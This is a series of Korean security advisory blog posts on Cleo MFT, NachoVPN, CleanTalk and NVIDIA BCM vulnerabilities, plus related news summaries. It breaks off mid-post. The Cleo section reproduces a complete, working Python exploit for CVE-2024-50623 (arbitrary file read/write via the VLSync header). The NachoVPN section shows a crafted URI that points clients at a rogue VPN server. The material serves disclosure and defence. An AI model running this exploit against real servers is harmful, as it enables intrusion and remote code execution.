1. Cleo

- 데이터 통합 및 관리형 파일 전송 솔루션(MFT)을 제공하는 글로벌 소프트웨어 기업 [1]

2. 취약점

2.1 CVE-2024-50623

[사진 1] CVE-2024-50623 [2]

- Cleo MFT SW에서 발생하는 파일 읽기/쓰기 취약점

> 24.10 적용된 패치에 대한 우회를 허용하는 Zero-Day 취약점으로 공격에 악용되는 중

영향받는 버전
- Cleo Harmony < 5.8.0.21
- Cleo VLTrader < 5.8.0.21
- Cleo LexiCom < 5.8.0.21

 

2.2 상세내용

- 취약점은 /Synchronization 엔드포인트에서 발생

> 클러스터 노드 간 파일 동기화를 처리하는 엔드포인트

 

- syncIn 메소드는 /Synchronization으로 들어온 HTTP 요청을 핸들링

> 다음 형식을 갖는 "SYNC_HEADER(”VLSync”)" 헤더를 찾을 경우 이를 파싱해  Retrieve, l, v, n 등의 파라미터를 가져옴

> 각각의 매개변수는 명령(Retrieve), l(라이선스 시리얼번호), v(버전), n(소프트웨어 이름)

 public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        int statusCode = 500;
        InputStream in = null;
        int len = 0;

        try {
            in = httpRequest.getInputStream();
            len = httpRequest.getContentLength();
            boolean found = false;
            Enumeration headers = httpRequest.getHeaderNames();

            while(headers.hasMoreElements()) {
                String header = (String)headers.nextElement();
                if (header.equalsIgnoreCase(SYNC_HEADER)) {
                    found = true;
                    String value = httpRequest.getHeader(header);
                    String serialNumber = getDecodedParameterValue(value, "l", true);
                    if (hasToken(value, START)) {
                        // ... omitted ...
                        break;
                    }

                    if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0

 

- 매개변수 중 l은 islValid 메소드를 통해 유효성 검증

> 유효성 검증은 6번째 문자가 '-'인 13자리인지 확인한 후 문자열을 비교하는 단순한 형태로 이루어짐

> License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))를 만족하는 형태의 시리얼 넘버를 직접 생성해 사용할 수 있음

protected static boolean islValid(String serialNumber) {
     if (serialNumber == null) {
         return false;
      } else if (serialNumber.length() == 13 && serialNumber.charAt(6) == '-') {
          if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) {
              return false;
          }
      }
      // ... further code omitted ..
    }
    
public static String scramble(String serial) {
        int shift = 0;

        for(int i = 0; i < serial.length(); ++i) {
            shift ^= serial.charAt(i);
        }

        StringBuffer sb = new StringBuffer(serial);
        sb.setCharAt(0, shiftLetter(Character.toUpperCase(sb.charAt(0)), shift + 4));
        sb.setCharAt(1, shiftLetter(Character.toUpperCase(sb.charAt(1)), shift + 2));
        sb.setCharAt(2, shiftNumber(sb.charAt(2), shift));
        sb.setCharAt(3, shiftNumber(sb.charAt(3), shift + 1));
        sb.setCharAt(4, shiftNumber(sb.charAt(4), shift + 3));
        sb.setCharAt(5, shiftNumber(sb.charAt(5), shift + 5));
        return sb.toString();
    }

 

2.3 파일 읽기

- 명령이 Retrieve인 경우 retrieve 메소드에서 해당 명령을 처리

> VLSync 헤더에서 path 파라미터를 가져와 fetchLocalFile에 path가 지정한 경로에 있는 파일을 읽어 응답으로 반환

> 이때, path 값에 대한 검증을 수행하지 않아 "../" 등의 디렉터리 이동 문자열을 이용할 수 있음

  private int retrieve(String header, HttpServletResponse httpResponse) {
        String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
        // ... omitted ...
        String path = fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (statusCode == 200) {
            try {
                byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
                fireRetrieveEvent(path);
                statusCode = 200;
                httpResponse.setStatus(200);
                httpResponse.setContentLength(bytes.length);
                httpResponse.setHeader("Connection", "close");
                ServletOutputStream outputStream = httpResponse.getOutputStream();
                outputStream.write(bytes);
                outputStream.close();
            } catch (FileNotFoundException e) {
                statusCode = 404;
            } catch (Exception ex) {
                // ... omitted ...
            }
        }
        return statusCode;
    }

 

[사진 2] 공격 예시

2.4 파일 쓰기

- ADD 명령을 사용해 임의의 파일을 쓸 수 있음

> fileIn 메소드에서 ADD 명령을 처리

> path 파라미터를 파싱하며, 이는 쓸 파일의 경로를 지정하며, 이후 파일의 존재 여부와 쓰기가 가능한지 확인

private int fileIn(String header, InputStream in, int length) throws Exception {
        int statusCode = 200;
        String serialNumber = getDecodedParameterValue(header, "l", true);
        // ... omitted ...
        String path = this.fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (file.exists() && !file.canWrite()) {
            statusCode = 403;
        } else {

 

- 위 검사를 통과하면 아래 코드가 실행되어 지정된 경로의 파일에 쓰이게 됨

> 파일 읽기와 마찬가지로 "../" 등의 디렉터리 이동 문자열을 사용해 임의 파일 쓰기가 가능

> 임의 파일 쓰기를 사용해 autorun 디렉터리(자동 실행 관련 디렉터리)에 파일을 업로드하여 RCE를 수행

OutputStream out = LexIO.getFileOutputStream(otherFile, false, true, false);
if (length > 0) {
  LexiCom.copy((InputStream)in, out);
}
((InputStream)in).close();
out.close();

3. PoC

- /Synchronization URL 및 VLSync 헤더를 설정하여 익스플로잇 [3]

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        CVE-2024-50623.py
        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)

          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-50623]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)

parser = argparse.ArgumentParser(usage="""python CVE-2024-50623 --target http://192.168.1.1/ --action read_or_write --where ..\\..\\pwned.txt --what shell.dll_jsp_xml_txt_zip""", description="Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)")

parser.add_argument("--target", help="Target URL", required=True)
parser.add_argument("--action", help="Action to perform", choices=['write', 'read'], required=True)
parser.add_argument("--where", help="File to write or read", required=True)
parser.add_argument("--what", help="local file to upload", required=False)

args = parser.parse_args()
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False

def extract_version(target):
    r = s.get(f"{target}/Synchronization")
    version = r.headers['Server'].split('/')[1].split(' ')[0]
    return version

def read_file(target, where, target_version):
    headers = {
        'VLSync': f"Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }
    

    r = s.get(f"{target}/Synchronization", headers=headers)
    if(r.status_code == 200):
        print(r.text)
    else:
        print("[ERROR] Failed to read the file")


def write_file(target, where, what, target_version):

    headers = {
        'VLSync': f"ADD;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }

    r = s.post(f"{target}/Synchronization", headers=headers, data=what)
    if(r.status_code == 200):
        print("[INFO] File written successfully")
    else:
        print("[ERROR] Failed to write the file")




if(args.action == 'read'):
    read_file(args.target, args.where, extract_version(args.target))
elif(args.action == 'write'):
    if(args.what == None):
        print("[ERROR] --what is required for write action")
        exit(1)
    write_file(args.target, args.where, open(args.what,"rb").read(), extract_version(args.target))
else:
    print("[ERROR] Invalid action")
    exit(1)

4. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> validatePath()를 추가해 path 파라미터에 대한 검증 추가

protected int validatePath(String path) {
        try {
            if (!Strings.isNullOrEmpty(path)) {
                URI uri = new URI(path);
                if (!Strings.isNullOrEmpty(uri.getScheme())) {
                    return ServiceException.REMOTE_IO_EXCEPTION;
                }
            }
        } catch (URISyntaxException e) {
        }
        String path2 = FilenameUtils.normalize(path);
        if (Strings.isNullOrEmpty(path2)) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath = LexIO.getRelative(path2);
        if (relativePath.startsWith("/") || relativePath.startsWith("\\") || new File(path2).isAbsolute()) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath2 = relativePath.toLowerCase().replace("\\", "/");
        for (String rootpath : UNPROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath)) {
                return 200;
            }
        }
        for (String rootpath2 : PROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath2)) {
                return ServiceException.REMOTE_IO_EXCEPTION;
            }
        }
        return 200;
    }

 

- autorun 설정 비활성화 [5]

[사진 3] autorun 비활성화

- /Synchronization URL 및 VLSync 헤더에 대한 보안 장비 탐지 규칙 적용

- 접근 제한, 관련 디렉터리 및 로그 점검, 악성 파일 삭제 등 조치 권고

5. 참고

[1] https://support.cleo.com/hc/en-us

[2] https://nvd.nist.gov/vuln/detail/CVE-2024-50623

[3] https://github.com/watchtowrlabs/CVE-2024-50623?ref=labs.watchtowr.com

[4] https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory-CVE-2024-50623?ref=labs.watchtowr.com

[5] https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild

[6] https://labs.watchtowr.com/cleo-cve-2024-50623/

[7] https://www.dailysecu.com/news/articleView.html?idxno=162064

요약 - 국내 IP 카메라 중 80%가 중국산으로 관련 해킹사고 급증
- 철저한 대응체계를 갖춰 개인 피해 줄일 필요
내용 - 최근 국내 중국산 IP 카메라 보안 문제가 사회적 이슈화
> 국내 IP 카메라 중 80%가 중국산
> 가정, 기업, 정부기관에서 사용중인 중국산 Wi-Fi 공유기, IP캠, IT 기기를 노리는 해킹 증가

- 네트워크를 사용하는 대부분의 중국산 제품에서 백도어가 발견
> 정부 제재가 없어 언제든 쉽게 해킹될 수 있는 위험에 무방비로 노출

- 중국산 IT 기기 해킹사고 대응 방안
① 개인과 소규모 사용자
> 제품 선택 단계에서부터 신뢰할 수 있는 브랜드를 우선 고려
> 값싼 제품보다는 국제 보안 인증기기 선택
> 펌웨어, 소프트웨어 항상 최신 상태로 유지
> 초기 비밀번호 반드시 변경하고, 강력한 비밀번호를 사용
> 기본적인 보안 설정도 철저히 준수
> 기기 사용 시 개인 정보 입력을 최소화
> 음성 녹음이나 위치 추적 등 불필요한 기능은 비활성화

② 기업 및 조직
> 인증받은 IT기기만을 사용하고, 공급망을 철저히 검토
> 민감한 데이터를 다루는 시스템의 경우 인터넷과 물리적으로 분리된 네트워크를 사용
> 정기적인 보안 점검을 통해 기기의 백도어 여부를 확인
> 해킹 시뮬레이션 테스트로 잠재적인 취약점을 미리 탐지
> 네트워크 접근 통제를 강화하고, 불필요한 기능은 비활성
> 네트워크 보안 솔루션을 도입해 외부 공격에 대비

③ 정부와 공공기관
> 수입 규제와 인증 시스템을 강화해, 보안 검증을 통과하지 못한 제품의 수입 및 사용을 제한
> 공공기관과 국가중요기반시설에는 검증된 장비만 사용하도록 법적 규제를 마련
> 국산 보안 기술과 IT 제품 개발을 적극 지원
> 국가 수준의 보안 인증 체계를 마련해 모든 네트워크 연결 기기에 대해 보안성을 확보
> 국민이 IT기기의 보안을 스스로 관리할 수 있도록 교육 및 캠페인을 통해 경각심을 높이기
> 국제 협력을 통해 백도어 문제를 해결하고, 공통 표준을 수립해 신뢰성을 확보

④ 기술적 대책 마련
> 'AI 또는 고급분석 기법 기반의 NDR' 기술을 도입해, 비정상적인 네트워크 트래픽을 실시간 탐지 및 대응 시스템을 구축
> 국가중요기반시설에는 독립적이고 폐쇄된 네트워크를 운영해 외부 해킹 가능성을 차단하고, 백도어를 탐지할 수 있는 전문 솔루션을 적용
기타 -

 

보안뉴스

 

중국산 IT기기 해킹사고에 따른 4가지 대응방안 - 데일리시큐

최근 국내 IP카메라의 80%를 차지하는 중국산 IP카메라 보안 문제가 사회 이슈화된 가운데, 일반 가정 뿐 아니라 기업, 정부기관에서 사용중인 중국산 Wi-Fi 공유기·IP캠·IT기기를 노리는 해킹이 늘

www.dailysecu.com

1. 개요

- 미국(CISA, NSA, FBI), 호주(ACSC), 캐나다(CCCS), 뉴질랜드(NCSC-NZ)가 협동해 통신 인프라 관련 보안 가이드라인 발표 [1]
- 사이버 위협 행위자, 특히 중국과 관련된 위협에 대응하기 위한 권고사항

2. 주요내용

구분 설명
모니터링 - 지속적인 스위치, 라우터, 방화벽 등 네트워크 장치의 구성 변경 모니터링 및 비정상적 변경에 대해 경고하는 메커니즘 구축
- 네트워크 흐름 모니터링 솔루션 구현 및 가시성 확보
- 관리 트래픽 노출 최소화 및 전용 관리 워크스테이션에서만 접근 허용
- 사용자 및 서비스 계정 로그인을 모니터링하여 비정상적인 로그인 시도 탐지 및 비활성화
- 중앙 집중화된 로그 관리 및 분석으로 신속한 의심스러운 활동 식별 등
강화 시스템 및 장치 - 프로토콜 및 관리 프로세스 개선
> 대역 외 관리 네트워크 사용
> 기본 거부 ACL 정책 구현
> 강력한 네트워크 세분화
> VPN 게이트웨이에 강력한 암호화 프로토콜 적용
> AAA(Authentication_인증, Authorization_권한부여, Accounting_계정관리) 로깅이 CIA 기능을 갖춘 중앙 로깅 서버로 전송되도록 보장
> 불필요한 프로토콜 비활성화
> 기본 비밀번호 사용 지양
> 신뢰할 수 있는 무결성 검증 도구 활용 등
Cisco 특정 지침 - 사이버 위협 행위자들은 Cisco 장비의 특정 기능을 표적으로 공격하므로 조치 필요
> Cisco Smart Install 서비스 비활성화
> Guestshell 액세스 비활성화
> 암호화되지 않은 웹 관리 기능 비활성화
> Telnet을 비활성화
> 비밀번호 관리 강화
사고 보고 - 피해 발생 시 당국의 관련 기관에 즉시 신고
설계에 의한 보안 - 설계 단계에서부터 보안 고려하여 개발
- 소비자는 보안성을 만족하는 제품을 구매

3. 참고

[1] https://www.cisa.gov/resources-tools/resources/enhanced-visibility-and-hardening-guidance-communications-infrastructure

1. 개요

- PaloAlto GlobalProtect, SonicWall NetExtender SSL-VPN 클라이언트 등에 심각한 취약점 "NachoVPN" 발견 [1][2][3]
- 공격자가 악성 VPN 서버를 통해 피해자 기기에 악성 업데이트 설치 또는 민감한 정보를 탈취할 수 있음
- 소셜 엔지니어링 기법을 활용해 사용자를 악성 VPN 서버로 유도해 익스플로잇

2. 주요내용

2.1 CVE-2024-29014

[사진 1] CVE-2024-29014 [4]

- SonicWall의 NetExtender Windows(32 및 64비트) 클라이언트에서 발생하는 임의 코드 실행 취약점
소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 EPC 클라이언트 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전

 

- NetExtender 클라이언트는 SSL-VPN 서버에 연결하는 동안 서버에 EPC 클라이언트 업데이트가 있는지 확인하기 위한 요청 전송
> GET /cgi-bin/sslvpnclient?epcversionquery=nxw
> 서버는 버전 번호로 판단되는 값으로 응답
> 응답이 0xFF인 경우 클라이언트는 /NACAgent.exe에 대한 GET 요청을 전송

 

- NECore.dll의 ValidateSignature()에서 해당 파일이 다운로드되고 유효성을 검증

> 해당 함수는 WINTRUST_ACTION_GENERIC_VERIFY_V2 작업을 사용해 WinVerifyTrust 호출 (실행 파일에 포함된 Authenticode 서명 검증 과정)
> 그러나 실행 파일의 서명이 신뢰할 수 있는 CA와 연결되는지만 확인하며, 특정 게시자(Microsoft, Adobe, Oracle 등)에 의해 서명되었는지 확인하지 않음

> 따라서 시스템에서 신뢰하는 코드 서명 인증서로 실행 파일을 서명만 하게되면 서명 검사를 통과할 수 있음

※ 다운로드한 NACAgent.exe는 SYSTEM으로 실행되는 NEService.exe의 자식 프로세스로 실행

 

[사진 2] ValidateSignature()

- sonicwallconnectagent 사용자 정의 URI 핸들러는 SMA Connect 에이전트에 의해 Windows 레지스트리에 등록

> 핸들러는 클라이언트가 연결해야하는 서버를 지정하는 Base64로 인코딩된 JSON 개체가 포함
따라서 공격자는 host 값을 악의적인 SSL-VPN 서버의 IP를 가리키도록 sonicwallconnectagent:// URL을 제작하면 취약점 악용 가능

 

[사진 3] 레지스트리

[사용자 정의 URI 핸들러 예시]
sonicwallconnectagent://eyJhY3Rpb24iOjEwLCJoZWxwZXJ2ZXJzaW9uIjoiMS4xLjQyIiwiaG9zdCI6IjE3Mi4xNy4xMjguMSIsInBvcnQiOiI0NDMiLCJ1c2VybmFtZSI6InVzZXIiLCJleHRlbmRpZCI6IkV0UUJ2MFp3elY0OGsxRVpaQ3JMU3ZwOGJLcFh4NFRCcGVISmlmOVUxczQ9In0

[디코딩]
{ action: 10, helperversion: "1.1.42", host: "172.17.128.1", port: "443", username: "user", extendid: "EtQBv0ZwzV48k1EZZCrLSvp8bKpXx4TBpeHJif9U1s4=" }

 

- 사용자가 조작된 페이지를 방문하면 악성 SSL-VPN 서버에 연결 및 서명된 악성 NACAgent.exe 실행
> NetExtender 클라이언트에 EPC 에이전트 업데이트 필요 메시지가 표시되며, 무시 또는 확인을 누를 경우 악성 NACAgent.exe 파일이 시스템 권한으로 실행됨

 

[사진 4] 악성 SSL-VPN 접속

[영상 1] 공격 시연 [5]

2.2 CVE-2024-5921

[사진 5] CVE-2024-5921 [6]

- PaloAlto Networks GlobalProtect 앱의 불충분한 인증 유효성 검사로 임의의 서버에 연결할 수 있는 취약점
> 소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- GlobalProtect 6.2.6 이전 버전

 

- 클라이언트-서버간 인증 과정 중 클라이언트는 POST 메소드로 서버에 자격 증명을 전송
> 서버는 XML 정책 객체로 포맷된 구성 데이터로 응답

 

- GlobalProtect 클라이언트는 기본적으로 응답을 신뢰
> 유일한 검증은 서버가 해당 도메인에 대한 유효한 TLS 인증서를 가지는지 확인하고 제공된 자격증명을 수락하는 것
익스플로잇에서 root-ca, version, uninstall, client-upgrade 요소가 중요

구분 설명
root-ca - 클라이언트에 제공된 인증서를 신뢰할 수 있는 인증서 저장소에 설치하도록 지시
- GlobalProtect 게이트웨이의 IP 주소가 클라이언트가 신뢰하는 TLS 인증서를 사용할 수 있도록 하기위함
- 공격자는 인증서가 주장하는 모든 목적을 위해 컴퓨터가 완전히 신뢰하는 인증서를 설치할 수 있음 (MITM이 발생해 데이터 탈취 또는 악성 SW 서명 및 실행이 가능)
version - 클라이언트에 반환된 version 태그는 업데이트 요청이 트리커되는지 여부를 결정
- 값이 클라이언트에 현재 설치된 버전보다 높은 경우 연결 성공 시 업데이트를 요청
- Portal 인증 응답의 version 태그가 현재 설치된 버전보다 높은 경우
> 클라이언트는 Portal에 업데이트를 요청
> 서버는 클라이언트의 OS와 아키텍처에 맞는 적절한 설치 프로그램으로 302 응답
uninstall - 업그레이드가 관리되는 방식을 설정
> Allow with Prompt (Default) : 새 버전이 확인될 경우 업데이트 메시지 표시
> Allow Transparently : 사용자 상호 작용 없이 자동으로 업데이트 발생
> Internal : 사용자가 내부 네트워크에서 연결되어 있는 경우에만 사용자 상호 작용 없이 업그레이드되며, 내부 GW와 내부 호스트 감지를 구성해야 함 (외부 네트워크에서 연결된 경우 업그레이드 연기)
> Disallow : 업데이트 차단
> Allow Manually : "버전 확인"을 선택해 세 버전이 있는 경우 사용자 판단하 수동 업데이트 적용
client-upgrade - transparent로 설정된 경우 사용자 위치와 동의와 관계없이 자동 업데이트

 

[사진 6] 응답 예시

 

- 공격 성공 조건과 성공 시 가능한 악성 행위는 다음과 같음

구분 설명
공격 성공 조건 - 서버 인증서 : 공인 인증 기관에서 서명한 포털용 인증서
- 사용자 지정 루트 인증 기관(CA) : 로컬에서 생성된 CA PEM 파일이 클라이언트에 제공되어 신뢰할 수 있는 인증서 저장소에 설치
- 코드 서명 인증서 : 사용자 지정 CA가 악성 MSI에 서명하기 위해 서명한 인증서
성공 시 가능한 악성 행위 - 자격 증명 공개 : 사용자가 입력한 인증 세부 정보 수집
- 사기성 루트 인증 기관 설치 : 중간자 공격(MITM)이나 코드 서명과 같은 추가 공격이 가능
- 라우팅 구성 조작 : 네트워크 트래픽을 제어하기 위해 악의적인 라우팅 설정
- 악성 업데이트 요청 : 신뢰할 수 있는 기관에서 서명한 MSI를 가져와서 실행하도록 클라이언트를 트리거

 

[영상 2] Windows 환경 공격 시연 [7]
[영상 3] macOS 환경 공격 시연 [8]

3. 대응방안

- 벤더사 제공 업데이트 적용 [9][10]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-29014 NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전 10.2.341 및 이후 버전
CVE-2024-5921 GlobalProtect 6.2.6 이전 버전 6.2.6
(또는 VPN 클라이언트를 FIPS-CC 모드에서 실행)

 

- NachoVPN 툴 활용 [11]

> 개념 증명용 오픈소스 기반 도구로, 악성 VPN 서버를 시뮬레이션할 수 있음

> Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, Ivanti Connect Secure 등의 VPN 제품 지원

 

- 권고사항

> SSL-VPN 클라이언트를 최신 버전으로 업데이트

> 호스트 기반 방화벽 규칙을 사용해 VPN 클라이언트가 통신할 수 있는 IP 제한

> WDAC, EDR 등을 사용해 VPN 클라이언트가 승인된 실행 파일과 스크립트만 실행할 수 있도록 설정

> 소셜 엔지니어링 공격 관련 사용자 교육

> 다중 인증 적용 등

4. 참고

[1] https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/
[2] https://blog.amberwolf.com/blog/2024/november/sonicwall-netextender-for-windows---rce-as-system-via-epc-client-update-cve-2024-29014/
[3] https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921/
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-29014
[5] https://vimeo.com/1024774407
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-5921
[7] https://vimeo.com/1024774239
[8] https://vimeo.com/1024773987
[9] https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0011
[10] https://security.paloaltonetworks.com/CVE-2024-5921
[11] https://github.com/AmberWolfCyber/NachoVPN
[12] https://www.dailysecu.com/news/articleView.html?idxno=161574

요약 - 수십만대의 위성 수신기에 DDoS 공격 기능을 탑재해 제조 및 판매한 혐의로 국내 기업 대표와 직원 5명 체포
- 수신기는 구매자 요청에 따라 사전에 DDoS 모듈이 설치되었거나, 펌웨어 업데이트를 통해 추후 추가됨
내용 - 연류된 회사는 2017년부터 영업 시작
> 2018.11 해외 방송사가 한국 제조사에 DDoS 기능을 위성 수신기에 추가해달라 요청
> 해당 기능은 경쟁사의 공격을 방어하기 위해 사용된 것으로 추정

- 2019.01 ~ 2024.09 제조사는 위성 수신기 24만대 유통
> 9만 8천 대는 DDoS 모듈이 사전 설치
> 나머지 수신기는 펌웨어 업데이트를 통해 기능 추가

- DDoS 기능이 수신기에 에떻게 적용되었는지 명확히 밝혀지지 않음

- 체포된 6명은 정통망법 위반 혐의로 기소
> 악성 수신기 판매 수익으로 추정되는 610억원 몰수 및 압류
> 해당 기기를 구매한 외국 기반 방송사 운영진은 체포되지 않았으며, 국제 공조 요청 중
기타 - 소비자 기기에 악성 기능이 포함되지 않도록 공급망 안전성 확보는 필수적
> HW와 SW 구성 요소에 대해 엄격한 보안 감사와 검증 절차 필요
> 소비자들은 제조사의 공식 소스를 통해 정기적 펌웨어 업데이트 및 이상 행동 감지 시 즉시 확인 등의 주의 필요

 

보안뉴스

 

DDoS 기능 탑재한 위성 수신기 제조·판매한 국내 기업 대표와 직원 체포돼 - 데일리시큐

위성 수신기 24만 대 이상에 분산서비스거부(DDoS, Distributed Denial of Service) 공격 기능을 탑재해 제조·판매한 혐의로 국내 모 기업 대표와 직원 5명을 체포했다. 이들 수신기는 구매자 요청에 따라

www.dailysecu.com

1. CleanTalk 플러그인 [1]

- 워드프레스 웹사이트에서 스팸을 방지하기 위해 사용되는 플러그인
- 스팸 방지 기능을 제공하는 클라우드 기반 서비스

2. 주요내용 [2]

2.1 CVE-2024-10542

[사진 1] CVE-2024-10542 [3]

- WordPress CleanTalk 플러그인에서 발생하는 DNS 스푸핑을 통한 인증 우회 취약점 (CVSS: 9.8)
> 악용에 성공할 경우 인증되지 않은 공격자가 임의의 플러그인을 설치 및 활성화하여 원격 코드를 실행할 수 있음

영향받는 버전
- Spam protection, Anti-Spam, FireWall by CleanTalk <= 6.43.2

 

- 아래 함수는 토큰을 저장된 API 비교 또는 checkWithoutToken()를 통해 토큰 없이도 작업을 수행할 수 있는지 확인

78 |  // Check Access key
79 | if (
80 |     ($token === strtolower(md5($apbct->api_key)) ||
81 |      $token === strtolower(hash('sha256', $apbct->api_key))) ||
82 |    self::checkWithoutToken()
83 | ) {
84 |     // Flag to let plugin know that Remote Call is running.
85 |     $apbct->rc_running = true;
86 |  
87 |   $action = 'action__' . $action;
88 | 
89 |   if ( method_exists(__CLASS__, $action) ) {

 

checkWithoutToken()는 발신 IP가 cleantalk.org 에 속하는지 확인
IP사용자 정의 매개 변수인 X-Central-Ip 및 X-Forward-By 헤더 매개 변수로 결정되므로, IP 스푸핑에 취약
> IP 확인 후 strpos()를 사용해 도메인 이름을 확인하는데, 도메인에 'cleantalk.org' 문자열이 포함된 경우 검사를 통과할 수 있어, DNS 스푸핑에 취약

34 | public static function checkWithoutToken()
35 | {
36 |    global $apbct;
37 | 
38 |    $is_noc_request = ! $apbct->key_is_ok &&
39 |        Request::get('spbc_remote_call_action') &&
40 |        in_array(Request::get('plugin_name'), array('antispam', 'anti-spam', 'apbct')) &&
41 |        strpos(Helper::ipResolve(Helper::ipGet()), 'cleantalk.org') !== false;

 

2.2 CVE-2024-10781

[사진 2] CVE-2024-10781 [4]

- WordPress CleanTalk 플러그인에서 ‘api_key’ 값 검증 누락으로 인해 발생하는 인증 우회 취약점 (CVSS: 8.1)
> 악용에 성공할 경우 인증되지 않은 공격자가 임의의 플러그인을 설치 및 활성화할 수 있음

영향받는 버전
- Spam protection, Anti-Spam, FireWall by CleanTalk <= 6.44

 

- API 키와 해시를 비교하여 토큰을 인증하는 방법이 존재
> 그러나 해당 함수에 API 키가 비어 있을 때 인증을 방지하기 위한 검증이 없음
> API 키가 플러그인에 구성되어 있지 않으면 비어 있는 해시 값과 일치하는 토큰을 사용해 인증을 우회할 수 있음

76 | $token  = strtolower(Request::get('spbc_remote_call_token'));
...
93 | // Check Access key
94 | if (
95 |    ($token === strtolower(md5($apbct->api_key)) ||
96 |     $token === strtolower(hash('sha256', $apbct->api_key))) ||
97 |    (self::checkWithoutToken() && self::isAllowedWithoutToken($action))
98 | ) {

3. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

> 두 취약점이 모두 해결된 6.45 버전으로 업데이트 권고

제품명 취약점 영향받는 버전 해결 버전
Spam protection, Anti-Spam, FireWall by CleanTalk CVE-2024-10542 <= 6.43.2 6.44
CVE-2024-10781 <= 6.44 6.45

4. 참고

[1] https://cleantalk.org/
[2] https://www.wordfence.com/blog/2024/11/200000-wordpress-sites-affected-by-unauthenticated-critical-vulnerabilities-in-anti-spam-by-cleantalk-wordpress-plugin/
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-10542
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-10781
[5] https://wordpress.org/plugins/cleantalk-spam-protect/#developers
[6] https://asec.ahnlab.com/ko/84781/
[7] https://thehackernews.com/2024/11/critical-wordpress-anti-spam-plugin.html
[8] https://www.securityweek.com/critical-vulnerabilities-found-in-anti-spam-plugin-used-by-200000-wordpress-sites/
[9] https://www.boannews.com/media/view.asp?idx=134689&page=2&kind=1

1. NVIDIA Base Command Manager (NVIDIA BCM) [1]

- AI(인공지능)와 HPC(High Performance Computing, 고성능 컴퓨팅)을 위한 클러스터 관리 소프트웨어
- 멀티 클라우드 및 온프레미스 환경 지원

※ 클러스터(Cluster) : 여러 대의 컴퓨터가 서로 연결되어 하나의 시스템처럼 작동하도록 구성한 컴퓨팅 환경

 

2. CVE-2024-0138

[사진 1] CVE-2024-0138 [2]

- NVIDIA BCM 구성요소인 CMDaemon의 인증 누락 취약점 (CVSS : 9.8)
> CMDaemon : CPU나 네트워크 등 클러스터의 구성요소 간 통신을 지원하고, 작업이 원활하게 실행되도록 돕는 프로세스 [3]
익스플로잇에 성공할 경우 코드 실행, 서비스 거부, 권한 상승, 정보 유출, 데이터 변조가 가능

영향받는버전
NVIDIA Base Command Manager 10.24.09

 

- 누구나 인증 없이 시스템에 접근할 수 있는 취약점으로 신속한 업데이트 권고 [4][5]

제품명 영향받는 버전 해결 버전
NVIDIA Base Command Manager 10.24.09 10.24.09a

3. 참고

[1] https://docs.nvidia.com/base-command-manager/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0138
[3] https://docs.nvidia.com/dgx-superpod/administration-guide-dgx-superpod/latest/cluster-management-daemon.html#cluster-management-daemon
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71594&menuNo=205020
[5] https://nvidia.custhelp.com/app/answers/detail/a_id/5595
[6] https://github.com/advisories/GHSA-626w-372f-948x
[7] https://www.boannews.com/media/view.asp?idx=134648&page=1&kind=1

요약 - 해마다 수많은 SW 문제가 발생하며, 일부는 공격자들이 악용
- MITRE는 매년 ‘가장 위험한 취약점 25개’ 공개
내용 - MITRE는 매년 ‘가장 위험한 취약점 25개’ 공개
> CWE 형식으로 문제를 열거
